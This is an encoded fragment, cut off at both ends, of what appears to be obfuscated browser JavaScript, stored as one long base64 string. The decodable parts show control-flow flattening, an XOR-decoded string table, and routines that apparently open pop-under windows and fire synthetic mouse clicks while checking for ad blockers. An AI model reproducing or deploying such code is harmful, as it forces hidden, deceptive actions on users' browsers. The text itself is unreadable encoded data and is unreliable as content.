saT1rdSksdCE9PWU7fX07aWYodHlwZW9mIHlbcnVdW2FyXSE9PWdlKXtjLm5pPW11O3Q9eVtydV1bYXJdW1huXSgpO2U9eVtydV1bYXJdW1huXSgpO2k9eVtydV1bYXJdW1huXSgpO249eVtydV1bYXJdW1huXSgpO3I9WmMuRigoeVtydV1bYXJdW1huXSgpfHx7c3JjOm51bGx9KVtYcl0pO289WmMuRih4dVtYcl0pO3RyeXtuOT0xNDUwNjEyMjI1O0Y5PS01NjY0Nzc2Nzc7Zzk9Mjtmb3IodmFyIFI5PTE7dzUuZDEoUjkudG9TdHJpbmcoKSxSOS50b1N0cmluZygpLmxlbmd0aCwyODY5NSkhPT1uOTtSOSsrKXthPXlbcnVdW2FyXVtYbl0oKSYmNztnOSs9Mjt9aWYodzUuZDEoZzkudG9TdHJpbmcoKSxnOS50b1N0cmluZygpLmxlbmd0aCwzODQzOCkhPT1GOSl7YT15W3J1XVthcl1bWG5dKCkmJjc7fWE9eVtydV1bYXJdW1huXSgpfHwwO31jYXRjaCh0KXt9YT1kcltCb10oMCxkcltrYV0oMSxhKSk7dGhpcy5taSh0LG8scix1KTt0aGlzLmdpKHQsdFtwaV0sZSxhLHUpO3RoaXMueWkoaSxpW3BpXSxuLGEsdSk7dGhpcy5raSh0LHRbcGldLFpjLkYoKSx1LHUpO3RoaXMud2koaSxaYy5HKCkpO2Mubmk9PT1tdSYmKGMubmk9eXUpO31jLnhpPWF8fDA7fSxFaTpmdW5jdGlvbih0LGUpe3ZhciBkOSxPOSxHOTtkOT04MzA2MTMyMTE7Tzk9MTQwNDM5MjY4MztHOT0yO2Zvcih2YXIgazk9MTt3NS5kMShrOS50b1N0cmluZygpLGs5LnRvU3RyaW5nKCkubGVuZ3RoLDE2MDEwKSE9PWQ5O2s5Kyspe3RoaXMueGUuUXQ9dDt0aGlzLnhlLlM9ZTtHOSs9Mjt9aWYodzUuZDEoRzkudG9TdHJpbmcoKSxHOS50b1N0cmluZygpLmxlbmd0aCw3Njg2OSkhPT1POSl7dGhpcy54ZS5RdD10O3RoaXMueGUuUz1lO319LFhpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbix1OSx5OSxIOTtuPXR8fHt9O2ZvcihlIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixlKSlzd2l0Y2godGhpcy5tdFtlXT1pPW5bZV0sZSl7Y2FzZSBUcjp0aGlzLm10LkRlPWk7YnJlYWs7Y2FzZSBvaTp0aGlzLm10LlVlPWk7YnJlYWs7Y2FzZSB3dDp0aGlzLm10LlJlPWk7YnJlYWs7Y2FzZSBMcitHcit6ZTp0aGlzLm10Lk9lPWk7YnJlYWs7Y2FzZSBSbitHcitFbjp0aGlzLm10Lk5lPWk7YnJlYWs7Y2FzZSBEdDp0aGlzLm10LkhlPWk7YnJlYWs7Y2FzZSBsYytHcitiYTp0aGlzLnFlW29hXSh0aGlzLGkpO2JyZWFrO2Nhc2UgUm4rR3IrYmE6dGhpcy5KZVtvYV0odGhpcyxpKTticmVhaztjYXNlIFFuOnRoaXMubXQuVmU9aTticmVhaztjYXNlIHcrR3IrVjp0aGlzLm10LiRlPWk7YnJlYWs7Y2FzZSB3K0dyK0RuOnRoaXMubXQuUWU9aTticmVhaztjYXNlIHBuK0dyK3RyK0dyK0xuOnRoaXMubXQuR2U9aTticmVhaztjYXNlIEJzK0dyK2wrR3IrU3M6dGhpcy5tdC4kdD1pO2JyZWFrO2Nhc2UgTnMrR3IrJHI6dGhpcy5tdC5ZZT1pO2JyZWFrO2Nhc2UgSWMrR3IrcGMrR3IrX2k6dGhpcy5tdC5iZT1pO2JyZWFrO2Nhc2UgTHMrR3IrYnQ6dGhpcy5tdC5LZT1pO2JyZWFrO2Nhc2UgQitHcit2ZStHcitfbytHcit5bitHcitMbjp0aGlzLm10LlBlPWk7fXU5PTE1MDY0OTg2ODA7eTk9NjExNzc3ODY1O0g5PTI7Zm9yKHZhciBUOT0xO3c1LkwxKFQ5LnRvU3RyaW5nKCksVDkudG9TdHJpbmcoKS5sZW5ndGgsNjMyMykhPT11OTtUOSsrKXtyZXR1cm4gdGhpcztIOSs9Mjt9aWYodzUuZDEoSDkudG9TdHJpbmcoKSxIOS50b1N0cmluZygpLmxlbmd0aCw2MzczOSkhPT15OSl7cmV0dXJuIHRoaXM7fX0saGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksZzcsTTcsUjc7Zzc9LTM5MDQ0MjA2O003PS0xNjI0Njc4MzI1O1I3PTI7Zm9yKHZhciBKNz0xO3c1LkwxKEo3LnRvU3RyaW5nKCksSjcudG9TdHJpbmcoKS5sZW5ndGgsNTI1MzkpIT09Zzc7SjcrKyl7ZT10aGlzLndlKCk7aT10aGlzLmNpLnVpO1I3Kz0yO31pZih3NS5MMShSNy50b1N0cmluZygpLFI3LnRvU3RyaW5nKCkubGVuZ3RoLDg0NzUzKSE9PU03KXtlPXRoaXMud2UoKTtpPXRoaXMuY2kudWk7fXRyeXsodD1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0oZ3MsZ3UsZ3UseSwxLGlbT2krR3IrVWVdLGlbT2krR3IreG9dLGlbSGMrR3IrVWVdLGlbSGMrR3IreG9dLHl1LHl1LHl1LHl1LDAsbXUpO3RbVW9dPWd1O2VbZ24rR3IrQ2FdKHQpO31jYXRjaCh0KXtLYy5lKHQpO319LFZpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuUGkobzUpO30sU2k6ZnVuY3Rpb24oKXt2YXIgdCxpLG4scixvLHM7cj10aGlzO289NTAwO3M9ZnVuY3Rpb24odCxlKXt2YXIgaSxuO249WGMuYj9lYzpnczsoaT1yaVtVcytHcitDYV0oU24rR3IrdW8pKVtMcytHcitTbitHcitDYV0obixndSxndSx5LDEsZVtPaStHcitVZV0sZVtPaStHcit4b10sZVtIYytHcitVZV0sZVtIYytHcit4b10seXUseXUseXUseXUsMCxtdSk7aS5mYz1ndTt0W2duK0dyK0NhXShpKTt9O2l1LlgocmksJHQsZnVuY3Rpb24ocil7dmFyIG8sRjEsZzEsTTE7dzUubzQoNCk7bz1yW3c1LnU0KHNyLEdyLGUpXVswXTtGMT05NTkwNTM3NzY7ZzE9LTE3NzY2NDMwNTc7TTE9Mjtmb3IodmFyIFAxPTE7dzUuZDEoUDEudG9TdHJpbmcoKSxQMS50b1N0cmluZygpLmxlbmd0aCw4NTkzNCkhPT1GMTtQMSsrKXt3NS5vNCgxOCk7dD1yW3c1LnU0KG9zLEpzLEdyKV07dzUuWTQoMTkpO2k9b1t3NS51NChHcixmbyxVZSldO3c1Lm80KDIwKTtuPW9bdzUuYzQoeG8sZm8sR3IpXTtNMSs9Mjt9aWYodzUuTDEoTTEudG9TdHJpbmcoKSxNMS50b1N0cmluZygpLmxlbmd0aCwxMTM5OCkhPT1nMSl7dzUubzQoMjEpO3Q9clt3NS5jNChvcyxKcyxHcildO3c1Llk0KDIyKTtpPW9bdzUuYzQoR3IsVWUsZm8pXTt3NS5vNCg2KTtuPW9bdzUuYzQoR3IseG8sZm8pXTt9dzUubzQoNCk7dD1yW3c1LnU0KG9zLEdyLEpzKV07dzUuWTQoNCk7aT1vW3c1LmM0KGZvLEdyLFVlKV07dzUubzQoNCk7bj1vW3c1LnU0KGZvLEdyLHhvKV07fSxndSk7aXUuWChyaSx2LGZ1bmN0aW9uKGEpe3ZhciBjLHUsaCxTMCxOMCxhMDtTMD0xMTI5ODE1NDEyO04wPS00NTk2NDE3MTE7YTA9Mjtmb3IodmFyIGYwPTE7dzUuZDEoZjAudG9TdHJpbmcoKSxmMC50b1N0cmluZygpLmxlbmd0aCw5MDQxMCkhPT1TMDtmMCsrKXt3NS5vNCg0KTtjPWFbdzUuYzQoc3IsR3IsZSldWzBdO3U9aXUudHQoYSk7aD1yLm10LlllO2EwKz0yO31pZih3NS5MMShhMC50b1N0cmluZygpLGEwLnRvU3RyaW5nKCkubGVuZ3RoLDUxODk1KSE9PU4wKXt3NS5ZNCg2KTtjPWFbdzUudTQoR3IsZSxzcildWzRdO3U9aXUudHQoYSk7aD1yLm10LlllO31kcltGc10oY1tmbytHcitVZV0taSk+PWh8fGRyW0ZzXShjW2ZvK0dyK3hvXS1uKT49aHx8YVtvcytHcitKc10tdD5vfHxyLm10LlllPD0wfHxYYy5odCYmRGlbaXJdKHVbU2MrR3IrbWNdKXx8ci5YZS5paXx8ci5YZS5uaXx8ci5YZS5yaXx8ci5waSgpfHxyLl9pKCl8fCFyLlBpKCl8fCFyLlRpKHUpfHwhci5tdC5OZSYmWmMuUyh1KXx8KHVbU2MrR3IrbWNdPT09T24mJnIuRWUoYSkscyh1LGMpKTt9LGd1KTt9LG1pOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByLG87bz15dTtmb3Iocj0wO3I8dFtwaV07cisrKWlmKHRbcl09PT13dSl7bz1ndTticmVhazt9byYmKGV8fGkpJiYoIXRoaXMuT2koZSx0KXx8IXRoaXMuT2koaSx0KXx8eVtydV1bdW5dJiZ5W3J1XVt1bl1bcGldJiYhdGhpcy5PaShaYy5GKCkseVtydV1bdW5dKSkmJm4oZ3UseXUpO30seGU6e1F0Om11LFM6eXV9LHFlOmZ1bmN0aW9uKCl7dmFyIHQ7dD1aYy54KGFyZ3VtZW50c1swXSk/YXJndW1lbnRzWzBdOmFyZ3VtZW50cztyZXR1cm4gdGhpcy5ubih0LGxjLHRbcGldJiZ0WzBdPT09eXUpO30sd2k6ZnVuY3Rpb24odCxlLGkpe3ZhciBXMSxsMSxjMTtXMT0xMTQ2NjMzOTY5O2wxPTU4MTgzMzU3NjtjMT0yO2Zvcih2YXIgdTE9MTt3NS5kMSh1MS50b1N0cmluZygpLHUxLnRvU3RyaW5nKCkubGVuZ3RoLDY5ODkxKSE9PVcxO3UxKyspe1pjLkcodFtOaV0oR3IrUGUrR3IpKTxlJiZpKGd1LHl1KTtjMSs9Mjt9aWYodzUuZDEoYzEudG9TdHJpbmcoKSxjMS50b1N0cmluZygpLmxlbmd0aCw0ODMyNikhPT1sMSl7WmMuRyh0W05pXShHciVQZSVHcikpPj1lfHxpKGd1LHl1KTt9fSxDaTpmdW5jdGlvbigpe3ZhciByLG8scyxhLGMsdSxoLGYscCxfO2Z1bmN0aW9uIHQoKXt2YXIgdCxlO3c1Lm80KDE3KTtlPVt3NS51NChIbixUdCxHcixFbixHcixDYSxKYSksdzUuYzQoeG4sVHQsR3IsRW4sR3IsQ2EsSmEsdzUubzQoMTcpKSx3NS5jNChKYSxUdCxRYSx3NS5ZNCg0KSksdzUuYzQoQ24sR3IsVXMsbXIsVHQsdzUubzQoMSkpLHc1LnU0KFdlLEdyLHhuLG1yLFR0LHc1Llk0KDEpKV07Zm9yKHQ9MDt0PGVbcGldO3QrKylpZihaYy5sKGVbdF0pKXtyZXR1cm4gS2MuZSh0LFpjLmwoZVt0XSkpLGd1O31yZXR1cm4geXU7fWZ1bmN0aW9uIGkoaSl7dT0yO198fChfPWd1LGlvKGZ1bmN0aW9uKCl7Xz15dTt9LFhjLm90PzUwMDoxNTApLEN1JiYhcC5VZXx8KHI9aXUudHQoaSksbz1aYy5CKHIsT24pLGM9WmMuUyhyKSxyW2FhK0dyK0dpXShsbyk9PT1mdT8oclt4ZV1beHRdPVhpLFpjLlAocikscj1pdS50dChpLGd1KSk6byYmKHM9KHI9bylbYWErR3IrR2ldKFRpKSxhPVpjLk4ociksYz1aYy5TKHIpKSxmLkVpKHIsYyksZi5YZS5paXx8Zi5YZS5uaXx8Zi5YZS5yaXx8aVtVb118fGUoZi5jaS51aVtPXSYmZi5jaS51aVtPXSE9PWlbT10pfHxlKHAuS2UmJiFFdSl8fGUoIWlbSGMrR3IrVWVdJiYhaVtIYytHcit4b10pfHxlKCFYYy5vdCYmIVhjLmcmJnR5cGVvZiBpW3F0XSE9PWdlJiYwIT09aVtxdF0pfHxlKCFYYy5vdCYmIWYuWmUmJihYYy5jdHx8WGMuYnx8WGMudXQpKXx8ZSghWGMub3QmJiFwLkdlJiYoWGMuYnx8WGMudXQpJiZzPT09RmkpfHxlKGYucGkoKSl8fGUoZi5faSgpKXx8ZSghZi5QaSgpKXx8ZSghZi5UaShyKSl8fGUoYyYmIXAuTmUpfHxlKCFwLlJlJiZ0KCkpfHwoZi5BaShpKSxYYy5ldCYmbyYmYSYmZi5FZShpKSxYYy5vdHx8IW98fGN8fChYYy5iJiZzIT09RmkmJlpjLlkoKXx8cC5HZSYmcz09PUZpJiYoWGMuYnx8WGMudXQpKSYmZi5FZShpKSxmLkZpPW11LGYuaGkoKSkpKTt9Zj10aGlzO3A9Zi5tdDtfPXl1O2Z1bmN0aW9uIGUodCl7cmV0dXJuKyt1LHQmJktjLmUodSksdDt9cC5SZXx8IXQoKT8oaD1YYy5kfHxYYy5nP3FhOmVjLGZ1bmN0aW9uKCl7aXUuWChyaSxncyxpLGd1KTtYYy5vdD8oaXUuWChyaSxlYyxuLGd1KSxpdS5YKHJpLHFhLG4sZ3UpKTppdS5YKHJpLGgsbixndSk7fSgpLHRoaXMuU2koKSx0aGlzLmppKCksdGhpcy5MaSgpLHRoaXMuemkoKSx0aGlzLkJpKCkpOktjLmUoeXUpO2Z1bmN0aW9uIG4odCl7cj1vPWM9cz1hPW11OyFYYy5vdCYmdFtIYytHcitVZV0rKFhjLm50PzE3OjE1KT55W1BhK0dyK2ddP3AuUWUmJigocj17fSkuc2Nyb2xsYmFyPWd1LGYuRWkocix5dSksZi5waSgpfHxmLl9pKCl8fCFmLlBpKCl8fGYuaGkoKSk6aSh0KTt9fSxsaTpmdW5jdGlvbih0KXtpZih0aGlzLlhlLmlpfHx0aGlzLlhlLm5pfHx0aGlzLlhlLnJpKXtyZXR1cm4geXU7fXN3aXRjaCh0Lnl0KXtjYXNlIF91Om5ldyBRYy5tZSh0KS5wZSgpO2JyZWFrO2Nhc2UgZHU6bmV3IFFjLmdlKHQpLnBlKCk7YnJlYWs7Y2FzZSBsdTpuZXcgUWMueWUodCkucGUoKTticmVhaztjYXNlIHB1OnRyeXtuZXcoUWMuZHQoKSkodCkucGUoKTt9Y2F0Y2godCl7S2MuZSh0KTt9fXJldHVybiB0LnF0KCksZ3U7fSxqaTpmdW5jdGlvbigpe3ZhciB0LGUsaSxuLHIsbztuPXRoaXM7cj17fTtvPWZ1bmN0aW9uKHQpe2ZvcihlPTA7ZTx0W3BpXTtlKyspe24uTWkodFtlXSk7fX07Q28oZnVuY3Rpb24oKXt2YXIgZTtmb3IodD0wO3Q8bi5tdC4kZVtwaV07dCsrKXtpZihlPW4ubXQuJGVbdF0sKGk9cmlbYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGUpKVtwaV0mJm4ucGkoKXx8IW4uUGkoKSl7cmV0dXJuO310eXBlb2YgcltlXSE9PWdlJiZyW2VdPT09aVtwaV18fG8oaSk7fX0sMWUzKTt9LElpOmZ1bmN0aW9uKHQpe3ZhciBlLGksbixyLG8scyxlOSxqOSxaOTtvPTI7cz15dTtmb3IoZT0wO2U8PW87ZSsrKXtpZigobj1yaVt3citHcitqbitHcitMY10odFtIYytHcitVZV0rZSx0W0hjK0dyK3hvXSkpJiZuW1NjK0dyK21jXT09PXBhK0dyK09uK0dyK0ZjK0dyK1BzK0dyK3BhKXtzPWd1O2JyZWFrO31mb3IoaT0wO2k8PW87aSsrKWlmKChuPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXStlLHRbSGMrR3IreG9dK2kpKSYmbltTYytHcittY109PT1wYStHcitPbitHcitGYytHcitQcytHcitwYSl7cz1ndTticmVhazt9aWYocylicmVhazt9aWYocylmb3Iocz15dSxyPW5bYWErR3IrUmUrR3IraWkrR3IrUmkrR3IrbWNdKGVpKSxlPTA7ZTxyW3BpXTtlKyspaWYoWmMuVShyW2VdKSl7cz1ndTticmVhazt9ZTk9MTI0NjQ2Mzc5O2o5PTE4ODY4MTA5NztaOT0yO2Zvcih2YXIgVTk9MTt3NS5MMShVOS50b1N0cmluZygpLFU5LnRvU3RyaW5nKCkubGVuZ3RoLDU5MDM1KSE9PWU5O1U5Kyspe3JldHVybiBzP246eXU7WjkrPTI7fWlmKHc1LmQxKFo5LnRvU3RyaW5nKCksWjkudG9TdHJpbmcoKS5sZW5ndGgsNDQ5MzkpIT09ajkpe3JldHVybiBzP246eXU7fX0sRGk6ZnVuY3Rpb24oKXtpZighdGhpcy5YZS5laSl7dGhpcy5YZS5laT1ndTt0cnl7dGhpcy52aSgpO3RoaXMuYmkoKTt9Y2F0Y2godCl7fUtjLmUoW3RoaXMuWGUubmk/MDoxLHRoaXMuWGUucmk/MDoxLHRoaXMuWGUueGldW05pXShHcikpO319LFhlOnt0aTp5dSxuaTpndSxlaTp5dSxvaTowLHJpOmd1LHNpOjAsaWk6eXV9LG5uOmZ1bmN0aW9uKHQsZSxpKXtmb3IodmFyIG4scj0wLG89ZT09PVJuP3RoaXMubXQuSmU6dGhpcy5tdC5xZTtpJiZvW3BpXTspe29bQnNdKCk7fWZvcig7cjx0W3BpXTtyKyspe3R5cGVvZihuPXRbcl0pPT09VGM/b1tNcl0obik6dHlwZW9mIG49PT1hciYmdHlwZW9mIG5bd2ErR3IrbWNdPT09VGMmJm9bTXJdKG4pO31yZXR1cm4gdGhpczt9LEppOmZ1bmN0aW9uKCl7dmFyIHkxLEgxLHYxLHQsZTt5MT0xNzAzNzYyNDUyO0gxPTEyMTk1OTkwMzk7djE9Mjtmb3IodmFyIEUxPTE7dzUuZDEoRTEudG9TdHJpbmcoKSxFMS50b1N0cmluZygpLmxlbmd0aCwzODk3NykhPT15MTtFMSsrKXtlPTY7Zm9yKHRoaXMuZmk9W107ZT49dGhpcy5XZVtwaV07ZS0tKXsodD10aGlzLldlW2VdKS5MdCgpfHx0aGlzLmZpW01yXSh0KTt9djErPTI7fWlmKHc1LmQxKHYxLnRvU3RyaW5nKCksdjEudG9TdHJpbmcoKS5sZW5ndGgsMjE2MzkpIT09SDEpe2U9MTtmb3IodGhpcy5maT1bXTtlPnRoaXMuV2VbcGldO2UrKyl7KHQ9dGhpcy5XZVtlXSkuTHQoKSYmdGhpcy5maVtNcl0odCk7fX1lPTA7Zm9yKHRoaXMuZmk9W107ZTx0aGlzLldlW3BpXTtlKyspeyh0PXRoaXMuV2VbZV0pLkx0KCkmJnRoaXMuZmlbTXJdKHQpO31yZXR1cm4gdGhpcy5maTt9LGRpOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY2kudWk7fX07aXUuWCh5LFN0LGZ1bmN0aW9uKCl7dmFyIFg3LEI3LFM3O1g3PTIwMTA5MDA5MDY7Qjc9LTE2OTQwNjQ1NTI7Uzc9Mjtmb3IodmFyIGE3PTE7dzUuTDEoYTcudG9TdHJpbmcoKSxhNy50b1N0cmluZygpLmxlbmd0aCwxNDk3OSkhPT1YNzthNysrKXtFdT0hMTtTNys9Mjt9aWYodzUuZDEoUzcudG9TdHJpbmcoKSxTNy50b1N0cmluZygpLmxlbmd0aCw2MjI0OCkhPT1CNyl7RXU9IXt9O31FdT1vNTt9KTtpbyhmdW5jdGlvbigpe3c1Lm80KDE1KTtLYy5lKHc1LnU0KFNpLFllLEdyLFR0LFllLE0sR3IsWWUsUWUsT3QsQW8pKTt3NS5vNCg0KTtLYy5lKHc1LmM0KHhhLFZ0LEdyKSxvdSk7dzUuWTQoNCk7S2MuZSh3NS5jNChxaSxWdCxHciksc3UpO3c1Lm80KDQpO0tjLmUodzUudTQoRXMsVnQsR3IpLGF1KTt9LDEwKTt5W3J1XT15W3J1XXx8ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG87cj17fTtvPVpjLnAoW1trbytHcitSYStHcitudCxbR2MsR2MuaV1dLFtKbixzdV0sW0d0LG91XSxbWW8rR3IraXMsYXVdLFt6YSxbR2MsR2MuWGkscl1dLFthYStHcitJaSxbR2MsR2MuWmldXSxbYWErR3IrUStHcitiYSxbR2MsR2MuWWldXSxbYWErR3IrX28rR3IrYmEsW0djLEdjLktpXV0sW3crR3IrQ24sW0djLEdjLk1pXV0sW0huLFtHYyxHYy5lbixyXV0sW0duLFtHYyxHYy5oaSxyXV0sW2VzLFtHYyxHYy5HaSxyXV0sW2xjK0dyK2JhLFtHYyxHYy5xZSxyXV0sW1JuK0dyK2JhLFtHYyxHYy5KZSxyXV0sW2FhK0dyK2h0K0dyK0NuLFtHYyxHYy53ZV1dLFthYStHcitubitHcitabyxbR2MsR2MuJGldXSxbYWErR3IreWUrR3IrWm8sW0djLEdjLlZpXV0sW0JhK0dyK3llLFtHYyxHYy5QaV1dLFtrbytHcitkdCtHcitKZSxbR2MsR2MucGldXSxbYWErR3IrVXQrR3IramUrR3IrQmksW0djLEdjLlFpXV0sW2FhK0dyK1V0K0dyK0NhLFtHYyxHYy5kaV1dLFt6aSxbR2MsR2MuTmldXSxbYWErR3IrXyxbR2MsR2MuVWldXSxbRm8rR3IrXyxbR2MsR2MuUmldXSxbaGErVHQrT28sW0tjLEtjLmVdXSxbaGErVHQrRyxbS2MsS2Mucl1dLFtPYStUdCtsaSxbdHUsdHUuYV1dLFtPYStUdCthYSxbdHUsdHUuY11dLFtPYStUdCt4bixbdHUsdHUudV1dLFt0aStUdCtrbytHcitkaSxbZXUsZXUuc11dLFt0aStUdCtsaSxbZXUsZXUuYV1dLFt0aStUdCthYSxbZXUsZXUuY11dLFt0aStUdCt4bixbZXUsZXUudV1dLFtjZStUdCtKbixYYy5wdF0sW2NlK1R0K0lyK0dyK3FpLFhjLmZ0XSxbY2UrVHQra28rR3IrQ3MsWGMuaXRdLFtjZStUdCtrbytHcitYbyxYYy5udF0sW2NlK1R0K2tvK0dyK01hLFhjLm1dLFtjZStUdCtrbytHcit2YStHcitmYytHcit0YyxYYy5ldF0sW2NlK1R0K2tvK0dyK0JuLFhjLnJ0XSxbY2UrVHQra28rR3Irdm4sWGMub3RdLFtjZStUdCtrbytHcitoZSxYYy5zdF0sW2NlK1R0K2tvK0dyK3l0LFhjLmF0XSxbY2UrVHQra28rR3IrZ2MsWGMuYl0sW2NlK1R0K2tvK0dyK0luLFhjLmRdLFtjZStUdCtrbytHcitGYSxYYy5odF0sW2NlK1R0K2tvK0dyK3ZhK0dyK1BzLFhjLmddLFtjZStUdCtrbytHcitjcyxYYy5jdF0sW2NlK1R0K2tvK0dyK0VvLFhjLnV0XSxbY2UrVHQrSm4rR3IrdXQsW1hjLFhjLkpdXSxbY2UrVHQrYW8rR3IrZGksW1hjLFhjLmx0XV0sW0NhK1R0K2xjK0dyK3FzLFtpdSxpdS5LXV0sW0NhK1R0K2xjLFtpdSxpdS5YXV0sW0NhK1R0K2xhLFtpdSxpdS5aXV0sW0NhK1R0K2FhK0dyK3luLFtpdSxpdS50dF1dLFtLZStUdCtrbytHcit2ZStHciskZSxbWmMsWmMud11dLFtLZStUdCtKbitHcit1dCxbWmMsWmMuSl1dLFtLZStUdCtvcyxbWmMsWmMuR11dLFtLZStUdCt3byxbWmMsWmMueV1dLFtLZStUdCtKaSxbWmMsWmMuJF1dLFtLZStUdCtVcytHcitDbixbWmMsWmMuel1dLFtLZStUdCt4bitHcitDbixbWmMsWmMuUF1dLFtLZStUdCthYStHcitVaSxbWmMsWmMuQl1dLFtLZStUdCtEZStHcitZaSxbWmMsWmMuSF1dXSk7Zm9yKGUgaW4gbylpZih5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXShvLGUpKXtmb3Iobj1lW0NyXShHcitUdCtHciksdD1yLGk9MDtpPG5bcGldLTE7aSsrKXt0eXBlb2YgdFtuW2ldXT09PWdlJiYodFtuW2ldXT17fSk7dD10W25baV1dO310W25bbltwaV0tMV1dPWZ1bmN0aW9uKHQsZSl7cmV0dXJuIFpjLngodFtlXSk/MT09PXRbZV1bcGldP3RbZV1bMF06ZnVuY3Rpb24oKXtyZXR1cm4gMj09PXRbZV1bcGldP3RbZV1bMV1bb2FdKHRbZV1bMF0sYXJndW1lbnRzKToodFtlXVsxXVtvYV0odFtlXVswXSxhcmd1bWVudHMpLHRbZV1bMl0pO306dFtlXTt9KG8sZSk7fXJldHVybiByO30oKTt9KHQucG9wbnN8fHpjK0dyK1VjK0dyK09jLHQsdFtFaV0sdFtPaV0sdFttcl0sdFtyb10sdFtibl0sdFtObl0sdFtDb10sdFtyaStHcitpb10sdFtsaStHcitZaV0sdFtNaStHcitZaV0sdFtsaStHcitBaV0sdFtNaStHcitBaV0sdFtMdCtHcit0YytHcitmYytHcitndF0sdFt5K0dyK1J0XSx0W2tvK0dyK3lpK0dyK2d0XSx0W2lzXSx0W1hlK0dyK1ZyK0dyK0dzK0dyK3ZhK0dyK1VyXSx0W2RyXSk7fSh3aW5kb3cpO2Y1eXkuSD1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC55PT09J2Z1bmN0aW9uJz9mNXl5LkwueS5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwueTt9O2Y1eXkuVz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Y1eXkuZz1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC5PPT09J2Z1bmN0aW9uJz9mNXl5LkwuTy5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5LkwuTzt9O2Y1eXkuZj1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIGY1eXkuTC52PT09J2Z1bmN0aW9uJz9mNXl5Lkwudi5hcHBseShmNXl5LkwsYXJndW1lbnRzKTpmNXl5Lkwudjt9O2Z1bmN0aW9uIGY1eXkoKXt9ZjV5eS5CPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5MLnk9PT0nZnVuY3Rpb24nP2Y1eXkuTC55LmFwcGx5KGY1eXkuTCxhcmd1bWVudHMpOmY1eXkuTC55O307ZjV5eS5SPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5JPWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgZjV5eS5DLnY9PT0nZnVuY3Rpb24nP2Y1eXkuQy52LmFwcGx5KGY1eXkuQyxhcmd1bWVudHMpOmY1eXkuQy52O307ZjV5eS5MPWZ1bmN0aW9uKEQpe3JldHVybnt5OmZ1bmN0aW9uKCl7dmFyIEcsZD1hcmd1bWVudHM7c3dpdGNoKEQpe2Nhc2UgMjpHPWRbMF0qZFsxXTticmVhaztjYXNlIDA6Rz1kWzBdfGRbMV07YnJlYWs7Y2FzZSAxOkc9ZFsxXS1kWzBdO2JyZWFrO31yZXR1cm4gRzt9LE86ZnVuY3Rpb24oVil7RD1WO319O30oKTtmNXl5Lno9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiBmNXl5LkwuTz09PSdmdW5jdGlvbic/ZjV5eS5MLk8uYXBwbHkoZjV5eS5MLGFyZ3VtZW50cyk6ZjV5eS5MLk87fTtmNXl5LkM9ZnVuY3Rpb24oKXt2YXIgUT0yO3doaWxlKFEhPT0xKXtzd2l0Y2goUSl7Y2FzZSAyOnJldHVybnt2OmZ1bmN0aW9uKFUpe3ZhciBiPTI7d2hpbGUoYiE9PTE0KXtzd2l0Y2goYil7Y2FzZSAyOnZhciBLPScnLGw9ZGVjb2RlVVJJKCJ0JTExa2JsYyU3RCUwNmhiZGxtbDYhJTNDJTNDKyU1QmNkLTo1JTVENyg4Jy8lNUJ3LzI4bWolM0M4KTA3YiolMUMyJTI1bSUwN3ElN0RvYmslMTh3JTdDc2RtaDcpKSUyMipaMmQlMTgtNUErKS5vbXMlMTUlMjUlM0UwKyU1QiUzQyUxMXUlMjA2TXk/KScsSy1kJTNFOSxLMi00OyUyMCUwNjojMCU3RDUlNUM6IzMya0s2IXU5Kks4JTIwNTo2JTVDcSUxRiUzRScsWC1sMCUyMDYlNUN5Ljh1KUc4KDgxZUolM0MqMiclMjAlMDg1JTI1JTNFMCslNUIlM0NsOyUzQylNcWIxOiZJNSIpO2I9MTticmVhaztjYXNlIDk6Sys9U3RyaW5nLmZyb21DaGFyQ29kZShsLmNoYXJDb2RlQXQoWSleVS5jaGFyQ29kZUF0KGspKTtiPTg7YnJlYWs7Y2FzZSAxOnZhciBZPTAsaz0wO2I9NTticmVhaztjYXNlIDU6Yj1ZPGwubGVuZ3RoPzQ6NzticmVhaztjYXNlIDM6az0wO2I9OTticmVhaztjYXNlIDg6WSsrLGsrKztiPTU7YnJlYWs7Y2FzZSA0OmI9az09PVUubGVuZ3RoPzM6OTticmVhaztjYXNlIDc6Sz1LLnNwbGl0KCcoJyk7cmV0dXJuIGZ1bmN0aW9uKFApe3ZhciBoPTI7d2hpbGUoaCE9PTEpe3N3aXRjaChoKXtjYXNlIDI6cmV0dXJuIEtbUF07YnJlYWs7fX19O2JyZWFrO319fSgnRShZTF1VJyl9O2JyZWFrO319fSgpOyFmdW5jdGlvbihlLG8sYyl7InVzZSBzdHJpY3QiO3ZhciBUPWY1eXk7dmFyIGksbix0O1QuZygwKTtpPVQuUihULkgoIjgiLDApKTtULnooMCk7bj1bVC5JKFQuSCgnXHgzMVx4MzAnLDApKSxULkkoKyI2IiksVC5SKCsnXHgzMVx4MzQnKSxULlIoKyIxMiIpLFQuUihULkgoIjUiLDAsVC5nKDApKSksVC5JKFQuQigwLCdceDMwJyxULnooM